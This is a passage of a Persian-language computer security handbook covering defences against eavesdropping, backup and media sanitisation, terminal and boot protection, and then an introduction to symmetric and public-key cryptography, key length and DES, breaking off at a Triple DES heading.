شاید استراق‌سمع الکترونیکی یکی از شوم‌ترین انواع انتشار غیرقانونی داده‌ها باشد. حتی با معمولی‌ترین تجهیزات، استراق‌سمع می‌تواند یک رونوشت کامل از اقدامات قربانی – فشرده‌شدن هر دکمه روی صفحه‌کلید و هر قطعه اطلاعاتی که روی صفحهٔ نمایشگر به نمایش در می‌آید یا به چاپگر فرستاده می‌شود – را نسخه‌برداری کند. در این میان معمولاً قربانی از حضور مهاجم بی‌اطلاع است و خوش‌باورانه به کار خود می‌پردازد و نه تنها اطلاعات حساس بلکه همچنین رمزهای عبور و فرآیندهای مختلف کسب اطلاعات بیشتر را نیز در معرض سرقت قرار می‌دهد.

ابزارهایی برای استراق‌سمع در نقاط مختلف رایانه – اتصال میان صفحه‌کلید و رایانه، کابلها و سیم‌کشی‌های داده‌ها، شبکه‌های Ethernet و فیبرنوری، شبکه‌های بی‌سیم، و حتی امواج رادیویی گذرنده از تجهیزات – وجود دارند. روشهای مختلفی برای دشوار کردن استراق‌سمع وجود دارد:

- کابلها و سیمهای حامل داده را از نظر خرابی یا تغییرات فیزیکی به طور منظم بازرسی کنید و استفاده از کابل پوشش‌دار یا مسلح برای دشوارتر کردن ایجاد منفذ در سیمها را مد نظر داشته باشید. اگر به اصول امنیتی خیلی اهمیت می‌دهید، کابلها را در کانالهای فولادی قرار دهید.
- اطمینان حاصل کنید که دفاتر غیر فعال، پورتهای Ethernet فعال ندارند. بجای استفاده از hubهای Ethernet، از سوئیچهای Ethernet استفاده کنید. از یک نرم‌افزار کنترل شبکهٔ محلی مانند arpwatch که بسته‌های با آدرس MAC[۵۹] بدون سابقهٔ قبلی را شناسایی می‌کند، یا از سوئیچهایی که می‌توانند بر اساس آدرس MAC بسته‌ها را غربال کنند استفاده نمایید. هرجا امکان دارد بجای کابلهای مسی، از کابلهای فیبر نوری استفاده کنید؛ چون ایجاد منفذ مخفی در آنها مشکلتر است.
- از بکار بردن شبکه‌های بی‌سیم اجتناب کنید. اگر حتماً باید یک شبکه بی‌سیم بسازید، تمام قابلیتهای ایمنی ممکن برای دفاع در عمق (مثل رمزگذاری، *دیواره آتش*[۶۰]، از کار انداختن *پخشهای عمومی SSID*[۶۱]، صافی‌های MAC، و...) را در آن فعال کنید. از آنجا که بیشتر این قابلیتها ایمنی بسیار کمی ایجاد می‌کنند، به کاربران آموزش دهید در شبکهٔ بی‌سیم همیشه از VPN یا سایر تونلهای رمزشده استفاده کنند. *نقطهٔ دسترسی بی‌سیم*[۶۲] را خارج از دیوارهٔ آتش (یا میان دو دیوارهٔ آتش) قرار دهید.
- رمزگذاری در مقابل استراق‌سمع حفاظت قابل توجهی بوجود می‌آورد. بنابراین همیشه با این فرض که ارتباطات شما تحت نظارت قرار دارد، رمزگذاری تمام ارتباطات را لازم بشمارید. وقتی انجام اینکار امکانپذیر نیست، حداقل همه ترافیک حساس شبکه (مثل اسامی کاربری رمزهای عبور در خدمات راه دور) را رمزگذاری کنید.

حفاظت از پشتیبانها

پشتیبانها باید پیشنیاز هر عملیات رایانه‌ای – ایمن یا غیر ایمن – باشند، اما به هرحال اطلاعات ذخیره‌شده در نوارهای پشتیبان بسیار آسیب‌پذیر هستند. حداقل به همان اندازه که به طور معمول از رایانهٔ خود حفاظت می‌کنید از پشتیبانهایتان محافظت کنید. هیچ وقت آنها را در ناحیهٔ قابل دسترسی عمومی بدون مراقبت رها نکنید، آنها را در محلهایی که از نظر فیزیکی ایمن هستند (بهتر است جایی خارج از محل نگهداری رایانه‌هایتان باشد) نگهدارید، و مراقب باشید به چه کسی اعتماد می‌کنید که آنها را از محلی به محل دیگر حمل کند.

بیشتر برنامه‌های پشتیبان به شما این امکان را می‌دهند که قبل از نوشته‌شدن اطلاعات در پشتیبان، آنها را رمزگذاری کنید. پشتیبانهای رمزشده به میزان قابل توجهی امکان مفید واقع شدن دیسکهای فشرده یا نوارهای پشتیبان مسروقه را برای رقیب کاهش خواهند داد. چنانچه پشتیبانها را رمزگذاری می‌کنید، اطمینان حاصل کنید که از کلید رمزگذاری نیز محافظت می‌کنید، تا هم مهاجم نتواند آنرا بیابد، و هم درصورت تعویض کارمندان کلید شما گم نشود.

گاهی اوقات پشتیبانهای موجود در بایگانی‌ها بعلت شرایط محیطی آرام آرام پاک می‌شوند. مثلاً نوار مغناطیسی نسبت به فرآیندی موسوم به print through آسیب‌پذیر است که در آن میدانهای مغناطیسی یک قسمت پیچیده شده به دور قرقرهٔ نوار، روی لایه‌های زیرین اثر می‌گذارند. تنها راه اینکه بفهمیم این مسئله به پشتیبان آسیب می‌رساند یا نه این است که پشتیبانها را هر از چندگاه بررسی کنیم.

---

۵۹ *آدرس فیزیکی ثابت هر گره در شبکه*

60 *Firewall*
61 *SSID Broadcasts*
62 *Wireless Access Point*

یک مشکل بسیار رایج، برچسب‌زنی و صورت برداری نامناسب از رسانهٔ پشتیبان می‌باشد. شما می‌توانید هر سیستم برچسب‌گذاری یا فهرست‌برداری که مؤثر می‌دانید را انتخاب کنید، مشروط بر اینکه یکی را انتخاب نموده و کاملاً مستندسازی نمایید.

پاکسازی رسانه قبل از انهدام

وقتی دیسک‌گردانها، دیسکهای فشرده، یا نوارها را از رده خارج می‌کنید، مطمئن شوید داده‌های رسانه قبلاً به طور کامل پاک شده‌اند. این فرآیند *پاکسازی*[۶۳] نام دارد. حذف معمولی و سادهٔ یک فایل که روی دیسک سخت شما است داده‌های مربوط به فایل را از بین نمی‌برد. معمولاً قسمتهایی از دادهٔ اصلی – و گاهی کل فایل – به آسانی می‌توانند ترمیم شوند. دیسکهای سخت باید با یک نرم‌افزار مخصوص که بطور خاص برای هر نوع دیسک‌گردان نوشته شده پاکسازی شود.

در مورد نوارها می‌توان از یک دستگاه پاک‌کننده مغناطیسی یا پاکساز انبوه – یک وسیلهٔ دستی الکترومغناطیسی که دارای میدان مغناطیسی قوی است – استفاده کرد. اطلاعات نوارهایی که بصورت انبوه پاکسازی کرده‌اید را آنقدر مجدداً بخوانید تا بفهمید برای محو نمودن داده‌ها چند بار پاک کردن آنها به این روش لازم است.

نرم‌افزارهایی برای بازنویسی رسانه نوری وجود دارند که حتی محتویات رسانه‌هایی که تنها یکبار قابل نوشتن هستند را نیز پاک می‌کنند. با اینحال اثربخشی این روشها از یک نوع رسانه به نوع دیگر تغییر می‌کند، و بازنویسی ممکن است بازهم مانده‌هایی از خود برجا بگذارد. به این دلیل شاید نابود کردن فیزیکی ارجح باشد.

کوره‌های زباله‌سوزی و حمام‌های اسیدی برای از بین بردن نوارها بسیار مناسب هستند، اما از نظر شرایط محیط زیست قابل قبول نمی‌باشند. تا همین اواخر شکستن دیسکهای سخت و بسته‌های floppy ترجیح داده می‌شد، اما با افزایش حجم دیسکها، دیسک‌گردانها باید به قطعات کوچکتر و کوچکتری شکسته شوند تا امکان تحلیل آزمایشگاهی مواد حاصله وجود نداشته باشد. برای دیسک‌گردانها دستگاه پاک‌کنندهٔ مغناطسی وجود دارد ولی هزینهٔ آن بالاست. درنتیجه بتدریج روشهای پاکسازی و انهدام فیزیکی در مقایسه با تکنیکهای نرم‌افزاری رواج خود را از دست می‌دهند.

یک روش رایج پاکسازی، بازنویسی کل دیسک یا نوار است. اگر با اطلاعات بسیار محرمانه یا مرتبط با امنیت سروکار دارید، شاید بخواهید یک نوار یا دیسک را چندبار بازنویسی کنید، چون این امکان وجود دارد که داده از نوارهایی که تنها یکبار بازنویسی شده‌اند بازیافت شود. معمولاً نوارها سه بار بازنویسی می‌شوند – یکبار با بلوکهای "صفر"، یکبار با بلوکهای "یک"، و یکبار هم با اعداد تصادفی. در نهایت می‌توان نوار را چندبار از ارهٔ نواری عبور داد تا به هزاران قطعهٔ کوچک پلاستیکی تبدیل شود.

پاکسازی اسناد مکتوب

اطلاعات مکتوب که راهی زباله‌دانی می‌شوند ممکن است حاوی اطلاعاتی باشند که برای مجرمان یا رقبا به کار بیاید. این مسئله شامل نسخه‌های چاپی نرم‌افزار (از جمله نسخه‌های ناقص)، خلاصه‌ها، اسناد طراحی، متن اولیهٔ برنامه، اسناد برنامه‌ریزی، خبرنامه‌های داخلی، دفترچهٔ تلفن و کتابهای راهنمای شرکت و موارد دیگر می‌شود. اطلاعات دیگری که ممکن است به زباله‌دانی ریخته شود شامل انواع نسخه‌های سیستم‌عاملها و رایانه‌ها، شماره‌های سریال، سطح نصب بودن اصلاحات امنیتی و مانند آن می‌شود. این اسناد ممکن است در بر دارنده اسامی میزبانها، شماره‌های IP، شناسه‌های کاربری و سایر اطلاعات حیاتی برای یک مهاجم باشند. شنیده شده که برخی از شرکتها فهرستهای کامل پیکربندی دیواره آتش و ضوابط *غربال‌سازی*[۶۴] – یک معدن طلا برای کسی که بدنبال نفوذ به رایانه‌ها است – را بدون هیچ مراقبت خاصی دور می‌ریزند.

63 *Sanitizing*
64 *Filtering*

برای هرجا که اطلاعات با ارزش در آنجا دور ریخته می‌شود کاغذ خردکن تهیه کنید. به کاربران آموزش دهید که اطلاعات حساس را در سطلهای خانه دور نیاندازند، بلکه آنها را به دفتر بیاورند تا در دستگاه خرد شوند. اگر سازمانتان به اندازهٔ کافی بزرگ است و قانون به شما این اجازه را می‌دهد، شاید مایل باشید برخی از دورریزهای کاغذهای حساس را در محوطه کارخانه بسوزانید.

حفاظت از حافظه‌های محلی

علاوه بر رایانه‌ها و سیستمهای ذخیره‌سازی انبوه، بسیاری دیگر از تجهیزات پردازش الکتریکی داده‌ها نیز اطلاعات را در خود ذخیره می‌کنند. برای مثال *پایانه‌ها*[۶۵]، مودمها، و چاپگرهای لیزری معمولاً bufferهای حافظه دارند که ممکن است با دستورات مناسب کنترلی بارگذاری یا باربرداری شوند.

به طور طبیعی هر قطعهٔ حافظه که اطلاعات حساس را در خود ذخیره می‌کند، یک مشکل حفاظتی به همراه خود دارد، بویژه اگر از آن قطعهٔ حافظه با رمز عبور، رمزگذاری، یا سایر مکانیزمهای مشابه محافظت نشود. با اینحال حافظه‌های محلی در بسیاری از وسایل یک مشکل امنیتی اضافه با خود دارند، چون اطلاعات حساس در این حافظه‌ها هر از چندگاه بدون اطلاع کاربر رایانه نسخه‌برداری می‌شود.

پایانه‌های بدون مراقبت

پایانه‌های بدون مراقبت که کاربران آنها خود را در حالت وارد شده به سیستم رها می‌کنند بسیار مورد توجه تخریبگران و مهاجمان رایانه‌ای قرار دارد. یک تخریبگر می‌تواند با اطمینان خاطر به فایلهای شخص دسترسی داشته باشد. از طرف دیگر تخریبگر می‌تواند از حساب کاربری این شخص بعنوان یک نقطه شروع برای آغاز حمله علیه سیستم رایانه‌ای یا کل شبکه استفاده نماید: هرگونه ردیابی حمله طبیعتاً انگشت اتهام را متوجه شخص صاحب آن حساب کاربری می‌کند و نه تخریبگر. هیچگاه نباید پایانه‌ها را برای مدتی بیش از بازه‌هایِ کوتاه زمانی بدون مراقبت رها کرد.

بعضی از سیستمها یا محافظهای صفحه‌نمایش این قدرت را دارند که اگر پایانهٔ کاربر برای بیش از چند دقیقه بی‌استفاده ماند او را بصورت خودکار از سیستم خارج – یا حداقل صفحه‌نمایش او را خالی و صفحه‌کلید وی را قفل – کنند. از مزایای این قابلیتها استفاده کنید.

کلیدهای محافظ

برخی از انواع رایانه‌ها کلیدی دارند که در حالت تک‌کاربره می‌تواند برای جلوگیری از راه‌اندازی مجدد سیستم جلوگیری کند. بعضی از رایانه‌ها نظارت‌کننده‌های ROM هم دارند که در حالت تک‌کاربره از راه‌اندازی مجدد سیستم بدون در اختیار داشتن رمز عبور جلوگیری می‌نماید. سیستم openBOOT شرکت Sun و همهٔ سیستمهای جدید Macintosh برای کنترل دسترسی به پیکربندی راه‌اندازی از سیستم رمزهای عبور پشتیبانی می‌کنند.

رمزهای عبور کلیدهای محافظ و نظارت‌کننده‌های ROM ایمنی بیشتری فراهم کرده‌اند و هرگاه که امکانپذیر باشد باید مورد استفاده قرار گیرند.[۶۶] با اینحال باید به خاطر داشت که برای ایجاد اختلال در رایانه کافی است یکنفر آنرا از پریز برق جدا کند. بنابراین مهمترین روش حفاظت از یک رایانه، محدود کردن فیزیکی دسترسی به آن رایانه است.

---

65 *Terminals*

۶۶ *برای استفاده از رمزهای عبور نظارت‌کننده‌های ROM یک دلیل خوب دیگر هم وجود دارد. درنظر بگیرید چه اتفاقی ممکن است بیافتد اگر یک مهاجم به رایانه‌ای دست پیدا کند، یک رمز عبور روی آن قرار دهد، و سپس آنرا خاموش کند.*

فصل چهارم
امنیت اطلاعات

کلیات

این فصل روی مکانیزمهایی تمرکز دارد که اطلاعات را از انتشار ناخواسته، تحریف، و یا تخریب حفاظت می‌کنند. این ابعاد امنیت معمولاً *محرمانگی*[۶۷] نامیده می‌شوند – که از دسترسی یا ایجاد تغییر در داده‌ها، برنامه‌ها، و یکپارچگی سیستم توسط کاربران غیرمجاز جلوگیری می‌کنند – و اطمینان می‌دهند اطلاعات و نرم‌افزارها دست‌نخورده و صحیح باقی مانده‌اند. مباحث این قسمت تا حد زیادی مفهومی است، هرچند نمونه‌هایی از کاربرد چند اصل در سیستمهای واقعی ارائه شده است.

رمزنگاری

رمزنگاری[۶۸] مجموعه‌ای است از فنون ریاضی برای حفاظت از اطلاعات. با استفاده از رمزنگاری می‌توان کلمات مکتوب و دیگر انواع پیام را بگونه‌ای تبدیل کرد که اگر کسی یک کلید ویژهٔ ریاضی که برای بازکردن قفل پیامها لازم است را در اختیار نداشته باشد آن پیامها برایش بی‌مفهوم بنظر بیاید. استفاده از رمزنگاری برای تغییر ظاهری یک پیام، *رمزگذاری*[۶۹] نامیده می‌شود. فرآیند بازگشت یک پیام رمزشده به قالب اولیه با استفاده از کلید مناسب نیز *رمزگشایی*[۷۰] نام دارد.

رمزنگاری برای این بکار می‌رود که از دسترسی یک گیرندهٔ غیرمجاز به اطلاعات جلوگیری کند. از لحاظ نظری وقتی قطعه‌ای از اطلاعات رمزگذاری شود و سپس بطور تصادفی توسط یک شخص ثالث از میان راه دزدیده یا افشا گردد امنیت آن خدشه‌دار نخواهد شد، مشروط بر آنکه کلید لازم برای رمزگشایی اطلاعات افشا نشده باشد و روش رمزگذاری در مقابل تلاش برای رمزگشاییِ بدون کلید رمز مقاومت کند.

علاوه بر افزایش محرمانگی، رمزنگاری برای تضمین یکپارچگی و *عدم تکذیب پیام*[۷۱] نیز بکار می‌رود.

توابع و الگوریتمهای رمزنگاری

اساساً دو نوع الگوریتم برای رمزگذاری وجود دارد:

الگوریتمهای کلید رمز مقارن

در این الگوریتمها برای رمزگذاری و رمزگشایی پیام از یک کلید رمز استفاده می‌شود. الگوریتمهای کلید رمز متقارن گاهی *الگوریتمهای کلید رمز سری*[۷۲] و گاهی هم *الگوریتمهای کلید رمز خصوصی*[۷۳] نامیده می‌شوند. متأسفانه هردوی این نامها به

---

۶۷ یا privacy که گاهی با "محرمانگی" (confidentiality) به جای هم بکار می‌روند و گاهی هم به طور جزئی‌تر به محافظت از اطلاعات شخصی افراد گفته می‌شود.

68 Cryptography
69 Encryption
70 Decryption
71 Message Non-Repudiation
72 Secret Key Algorithms
73 Private Key Algorithms

سادگی با *الگوریتمهای کلید رمز همگانی*[۷۴] که ارتباطی با الگوریتمهای کلید رمز متقارن ندارند اشتباه گرفته می‌شوند. الگوریتمهای کلید رمز متقارن را می‌توان به دو دسته تقسیم نمود: *الگوریتمهای بلوک*[۷۵]، و *الگوریتمهای جاری*[۷۶]. الگوریتمهای بلوک، داده‌های یک بلوک (تعدادی بایت) را در یک بازهٔ زمانی رمزگذاری می‌کنند، درحالیکه الگوریتمهای جاری آنها را بایت به بایت (یا حتی بیت به بیت) رمزگذاری می‌نمایند.

الگوریتمهای کلید رمز متقارن موتور محرکهٔ سیستمهای رمزنگاری مدرن هستند. این الگوریتمها عموماً بسیار سریعتر از الگوریتمهای کلید رمز همگانی هستند و کمابیش پیاده‌سازی‌شان ساده‌تر است. متأسفانه الگوریتمهای کلید رمز متقارن سه مشکل دارند که استفاده از آنها را در دنیای واقعی محدود می‌کند:

- برای اینکه طرفین ارتباط رایانه‌ای بتوانند با استفاده از الگوریتم کلید رمز متقارن بصورت ایمن به تبادل اطلاعات بپردازند، ابتدا باید یک کلید رمزگذاری مبادله کنند. مبادله کلید رمزگذاری بصورت امن می‌تواند بسیار دشوار باشد.
- از آنجا که آنها می‌خواهند ارسال و یا دریافت پیام کنند، هر دو طرف ارتباط باید یک نسخه از کلید رمز را نزد خود داشته باشند و آنرا ایمن نگهدارند. اگر کلید یکی از طرفین ارتباط مخدوش شود و طرف دیگر از این مسئله خبر نداشته باشد، ممکن است طرف دوم ارتباط برای طرف اول پیامی ارسال کند – و آنگاه آن پیام می‌تواند با استفاده از کلید رمز مخدوش‌شده مورد سوء استفاده قرار بگیرد.
- اگر هریک از کاربران مایل باشند برای ایمن کردن ارتباط از این الگوریتم استفاده کنند هر ارتباط دونفره به یک کلید رمز منحصر به فرد نیاز خواهد داشت، که این برای N کاربر متفاوت مستلزم $(N^2 - N) / 2$ کلید می‌شود. با افزایش تعداد کاربران، این عدد بسرعت غیرقابل کنترل خواهد شد.

الگوریتمهای کلید رمز نامتقارن

در این الگوریتمها یک کلید برای رمزگذاری پیام بکار می‌رود و کلید دیگر برای رمزگشایی آن. سیستم رمزنگاری کلید رمز همگانی یک دستهٔ مهم الگوریتمهای کلید رمز نامتقارن است. در این الگوریتمها معمولاً کلید رمزگذاری را *کلید رمز همگانی*[۷۷] می‌نامند، چون می‌تواند بدون اینکه خدشه‌ای به سری بودن پیام یا کلید رمزگشایی وارد شود در دسترس همگان قرار داشته باشد. کلید رمزگشایی پیام نیز معمولاً "کلید رمز خصوصی" یا "کلید رمز سری" نامیده می‌شود.

الگوریتمهای کلید رمز همگانی با مجزا کردن کلیدهای رمزگذاری و رمزگشایی، مشکلات الگوریتمهای کلید رمز متقارن را تا حدود زیادی حل می‌کنند. از دید مبتنی بر تئوری، فناوری کلید رمز همگانی بطور نسبی کار ارسال پیام رمزگذاری‌شده را برای افراد آسان می‌کند. طبیعتاً افرادی که مایلند پیامهای رمزگذاری‌شده دریافت کنند کلیدهای همگانی خود را در فهرستهای عمومی یا کتابچه‌های راهنما منتشر می‌کنند تا به سادگی قابل دسترسی باشد. آنگاه برای ارسال یک پیام رمزگذاری‌شده، تنها کاری که باید انجام دهیم این است که کلید رمز همگانی فرد را بیابیم، پیام را رمزگذاری کنیم، و سپس برایش ارسال نماییم. در یک سیستم خوب کلید رمز همگانی تنها کسی که می‌تواند پیام را رمزگشایی کند کسی است که کلید رمز خصوصی متناظر را در اختیار دارد. علاوه بر این تنها چیزی که لازم است در دستگاه خود ذخیره کنیم کلید رمز خصوصی خودمان است.

رمزنگاری کلید رمز همگانی همچنین برای پدید آوردن امضای دیجیتالی کاربرد دارد. یک امضای دیجیتالی مانند یک امضای حقیقی می‌تواند برای نشان دادن یک هویت بکار رود. در اینجا نیز مثل نامه‌های کاغذی می‌توانید یک نامهٔ الکترونیکی را امضا کنید و بدین ترتیب از نوشته‌شدن آن توسط خود به دیگران اطمینان دهید؛ و مانند امضای یک صورتحساب موافقنامه فروش می‌توانید یک سند معاملاتی را نیز بصورت الکترونیکی امضا کنید تا نشان دهید که مایلید کالایی را سفارش داده یا بفروشید. در

---

74 *Public Key Algorithms*
75 *Block Algorithms*
76 *Stream Algorithms*
77 *Public Key*

فناوری کلید رمز همگانی، از کلید رمز خصوصی برای انجام امضای دیجیتالی استفاده می‌شود؛ و لذا سایرین می‌توانند با استفاده از کلید رمز همگانی متناظر از صحت امضا مطمئن شوند.

متأسفانه الگوریتمهای کلید رمز همگانی از نظر محاسباتی پرهزینه هستند. در عمل، رمزگذاری و رمزگشایی کلید رمز همگانی به قدرت رایانه‌ای ۱۰۰۰ برابر الگوریتم رمزگذاری کلید رمز متقارن معادل خود نیاز دارد. برای اینکه از مزایای کلید رمز همگانی و نیز از سرعت سیستمهای رمزگذاری متقارن استفاده شده باشد، بیشتر سیستمهای رمزگذاری جدید در واقع از یک ترکیب استفاده می‌کنند:

سیستم رمزنگاری عمومی / خصوصی دوگانه

در این سیستمها از رمزگذاری کلید رمز همگانی که کندتر است برای تبادل یک *کلید رمز تصادفی جلسه*[۷۸] استفاده می‌شود، که بعنوان مبنای الگوریتم کلید رمز خصوصی متقارن مورد استفاده قرار می‌گیرد (یک "کلید رمز دوره" تنها برای یک دوره واحد رمزگذاری بکار می‌رود و پس از آن کنار گذاشته می‌شود). تقریباً همهٔ پیاده‌سازی‌های عملی رمزنگاری‌های همگانی از نوع سیستمهای دوگانه هستند. نکته آخر اینکه دستهٔ خاصی از توابع وجود دارند که تقریباً همیشه با رمزنگاری کلید رمز همگانی از آنها استفاده می‌شود. این الگوریتمها اصالتاً الگوریتمهای رمزگذاری نیستند، بلکه از آنها برای ایجاد "اثر انگشت" از یک فایل یا کلید رمز استفاده می‌شود:

توابع خلاصه‌پیام

یک تابع خلاصه‌پیام یک الگوی به ظاهر تصادفی از بیتها برای هر ورودی تولید می‌کند. مقدار خلاصه به نحوی محاسبه می‌شود که یافتن یک ورودی که دقیقاً یک خلاصهٔ مورد نظر را تولید کند از نظر محاسباتی امکانپذیر نباشد. خلاصه‌پیامها غالباً "اثر انگشت فایلها" نامیده می‌شوند. بیشتر سیستمهایی که امضای دیجیتالی انجام می‌دهند، به جای داده‌های اصلی فایل، خلاصه‌پیام داده‌ها را رمزگذاری می‌کنند.

قدرت رمزنگاری الگوریتم‌های متقارن

الگوریتمهای رمزگذاری مختلف از نظر قدرت با یکدیگر برابر نیستند. بعضی سیستمها از نظر حفاظت از داده‌ها چندان خوب عمل نمی‌کنند و اجازه می‌دهند اطلاعات رمزشده بدون دانستن کلید لازم رمزگشایی شوند. بعضی دیگر از این الگوریتمها حتی در مقابل قویترین حمله‌ها هم بسیار مقاوم هستند. قابلیت حفاظت یک سیستم رمزنگاری در مقابل حمله *استحکام*[۷۹] نام دارد. استحکام به عوامل زیادی بستگی دارد از جمله:

- سرّی بودن کلید رمز؛
- مشکل بودن امکان حدس کلید یا امکان آزمایش همهٔ کلیدهای ممکن (جستجوی کلید رمز). معمولاً پیدا کردن یا حدس زدن کلیدهای رمز طولانی‌تر مشکلتر است؛
- دشوار بودن معکوس کردن الگوریتم رمزگذاری بدون دانستن کلید رمزگذاری (شکستن الگوریتم)؛
- عدم وجود دربهای مخفی، یا شرایط دیگری که باعث شوند یک فایل رمزگذاری‌شده بدون دانستن کلید رمزگشایی آسانتر رمزگشایی شود؛
- ناممکن بودن رمزگشایی یک پیام که بطور کامل رمزگذاری شده، درصورتیکه بدانید چگونه بخشی از آن رمزگشایی می‌شود (که *حمله متن سادهٔ شناخته شده*[۸۰] نامیده می‌شود)؛ و
- خصوصیات "متن ساده" و دانش یک مهاجم به آن خصوصیات، مثلاً ممکن است اگر همهٔ پیامهای رمزشده در یک سیستم رمزنگاری با یک قطعه شناخته‌شدهٔ "متن‌ساده" شروع شود یا خاتمه یابد، آن سیستم نسبت به حمله آسیب‌پذیر باشد.

78 *Session Random Key*
79 *Strength*
80 *Known Plaintext Attack*

در حالت کلی استحکام رمزنگاری اثبات نمی‌شود؛ بلکه تنها رد می‌شود. وقتی یک الگوریتم رمزگذاری جدید مطرح می‌شود، مبتکر الگوریتم تقریباً همیشه بر این باور است که الگوریتم تضمین‌کنندهٔ امنیت کامل است – یعنی مبتکر معتقد است که راهی برای رمزگشایی پیام رمزشده بدون در اختیار داشتن کلید رمز مربوطه وجود ندارد، چرا که اگر الگوریتم دارای یک نقص شناخته شده باشد، اصولاً مبتکر در وحله اول الگوریتم را پیشنهاد نمی‌کند (یا حداقل با خیال آسوده آنرا پیشنهاد نمی‌کند)

بعنوان بخشی از بررسی استحکام یک الگوریتم، یک ریاضیدان می‌تواند نشان دهد که الگورتیم در مقابل انواع خاصی از حملات که قبلاً برای نشان دادن نقایص سایر الگوریتمها بکار رفته‌اند مقاوم است. متأسفانه حتی الگوریتمی که نسبت به همهٔ حملات شناخته شده مقاوم باشد هم الزاماً ایمن نیست، چراکه بطور متوالی انواع جدید حملات بوجود می‌آیند.

هر از چندگاه برخی از افراد یا مؤسسات ادعا می‌کنند که الگوریتمهای رمزگذاری متقارن که امنیت بسیار زیادتری از الگوریتمهای موجود دارند ابداع کرده‌اند. عموماً نباید از این ادعاها زیاد استقبال کرد. از آنجا که امروزه هیچ حملهٔ شناخته شده‌ای در مقابل الگوریتمهای رمزگذاری‌شده وجود ندارد که بطور گسترده مورد استفاده باشد، دلیلی وجود ندارد که از الگوریتمهای رمزگذاری جدید و آزمون‌نشده – الگوریتمهایی که ممکن است دارای نقایص پنهان باشند – استفاده کرد.

طول کلید در الگوریتمهای کلید متقارن

کلیدهای با طول کم می‌توانند امنیت پیامهای رمزگذاری‌شده را به میزان زیادی خدشه‌دار کنند، زیرا مهاجم می‌تواند پیام را با هر کلید ممکن رمزگشایی کند تا محتوای پیام استخراج شود. اما ضمن اینکه کلیدهای کوتاه ایمنی نسبتاً کمی فراهم می‌کنند، کلیدهای بسیار طولانی هم در عمل لزوماً امنیت بسیار بیشتری از کلیدهای با طول متعادل فراهم نمی‌نمایند. یعنی هرچند کلیدهای رمز ۴۰ تا ۵۶ بیتی امنیت بسیار زیادی ندارند، یک کلید رمز ۲۵۶ بیتی امنیت چنان زیادتری از یک کلید ۱۶۸ یا حتی ۱۲۸ بیتی فراهم نمی‌کند.

اگر تلاش می‌کنید که یک پیام را رمزگشایی کنید و یک نسخه از کلید رمز را ندارید، آسانترین روش برای رمزگشایی پیام انجام یک حملهٔ brute force است. این حملات همچنین "حملات جستجوی کلید" نامیده می‌شوند، چون هر کلید ممکن را آزمایش می‌کنند تا مشخص شود که آیا آن کلید پیام را رمزگشایی می‌کند یا نه. اگر کلید بطور تصادفی انتخاب شود، آنگاه مهاجم بطور متوسط نیاز دارد که نصف همهٔ کلیدهای رمز ممکن را برای پیدا کردن کلید رمزگشایی واقعی آزمایش نماید.

یک کلید رمزنگاری در داخل رایانه بصورت یک رشته *ارقام دودویی*[۸۱] نمایش داده می‌شود. هرعدد دودویی می‌تواند ۰ یا ۱ باشد. در حالت کلی، هر بیت که به کلید رمز اضافه شود تعداد کلیدها را دوبرابر می‌کند. لذا این مسئله که "چه تعداد بیت برای ساختن یک کلید ایمن کافی است" بستگی به این دارد که مهاجم با چه سرعتی بتواند کلیدهای مختلف را آزمایش کند و شما بخواهید چه مدتی اطلاعاتتان را ایمن نگهدارید. اگر مهاجم بتواند ۱۰ کلید را در هر ثانیه آزمایش کند، آنگاه یک کلید ۴۰ بیتی می‌تواند یک پیام را بیش از ۳۴۸۴ سال حفاظت نماید. البته رایانه‌های امروزی می‌توانند چندین هزار کلید – و با سخت‌افزار و نرم‌افزارهای مخصوص، صدها هزار کلید – را در ثانیه آزمایش کنند. سرعت جستجوی کلید می‌تواند با اجرای برنامهٔ مشابه روی صدها یا هزاران رایانه بطور همزمان، بیش از این هم افزایش یابد. پس با فناوریهای امروزی امکان بررسی بیش از یک میلیون کلید در ثانیه هم امکانپذیر است.

اگر توانایی آنرا داشته باشید که یک میلیون کلید رمز را در ثانیه آزمایش کنید، می‌توانید تمام کلیدهای ۴۰ بیتی را در تنها ۱۳ روز بررسی کنید. اگر یک کلید با طول ۴۰ بیت به این روشنی برای ایمن نگه داشتن اطلاعات کافی نباشد، برای کلید ایمن چند بیت لازم است؟ اگر بتوانید یک میلیارد کلید را در ثانیه آزمایش کنید آزمودن همهٔ کلیدهای ۸۰ بیتی همچنان مستلزم ۳۸ میلیون سال خواهد بود. آزمودن یک کلید ۱۲۸ بیتی با فناوری امروزی $۱۰^{۲۲}$ سال و حتی با پیشرفتهای محاسبات کوانتمی صدها میلیون سال نیاز خواهد داشت. با توجه به اینکه خورشید ما احتمالاً ظرف ۴ میلیارد سال آینده قرار است به یک غول قرمز آسمانی تبدیل شود و

81 *Binary Digits*

در اینصورت زمین را نابود خواهد کرد – و با فرض اینکه هیچگونه ضعف دیگری در الگوریتمی که استفاده شده وجود ندارد – یک کلید رمزگذاری ۱۲۸ بیتی باید برای اغلب کاربردهای رمزنگاری کافی باشد!

الگوریتم‌های رایج کلید رمز متقارن

امروزه از الگوریتمهای کلید رمز متقارن بسیاری استفاده می‌شود. برخی از الگوریتمهایی که در زمینهٔ امنیت رایانه مورد استفادهٔ زیادی قرار می‌گیرند ذیلاً خلاصه شده‌اند.[۸۲]

DES

استاندارد رمزگذاری داده (DES)[۸۳] که بعنوان یک استاندارد دولت ایالات متحده در سال ۱۹۷۷ و بصورت یک استاندارد ANSI در سال ۱۹۸۱ انتخاب شد، یک الگوریتم رمزگذاری بلوکی است که از یک کلید رمز ۵۶ بیتی استفاده می‌کند و بسته به اینکه به چه منظوری بکار رود دارای چند حالت عملکردی مختلف می‌باشد. DES یک الگوریتم قوی است، اما طول کلید کوتاهش کاربرد حال حاضر آنرا محدود کرده است. در سال ۱۹۹۸ یک دستگاه با هدف اختصاصی شکستن رمز DES توسط *بنیاد طلایه‌داران الکترونیک* (EFF)[۸۴] با هزینهٔ کمتر از ۲۵۰۰۰ دلار ساخته شد و در یک نمایش عمومی، کلید رمز یک پیام رمزگذاری‌شده را در کمتر از یک روز در برابر چشمان اعضای ائتلاف کاربران رایانه از سراسر دنیا پیدا کرد.

DES سه‌گانه[۸۵]

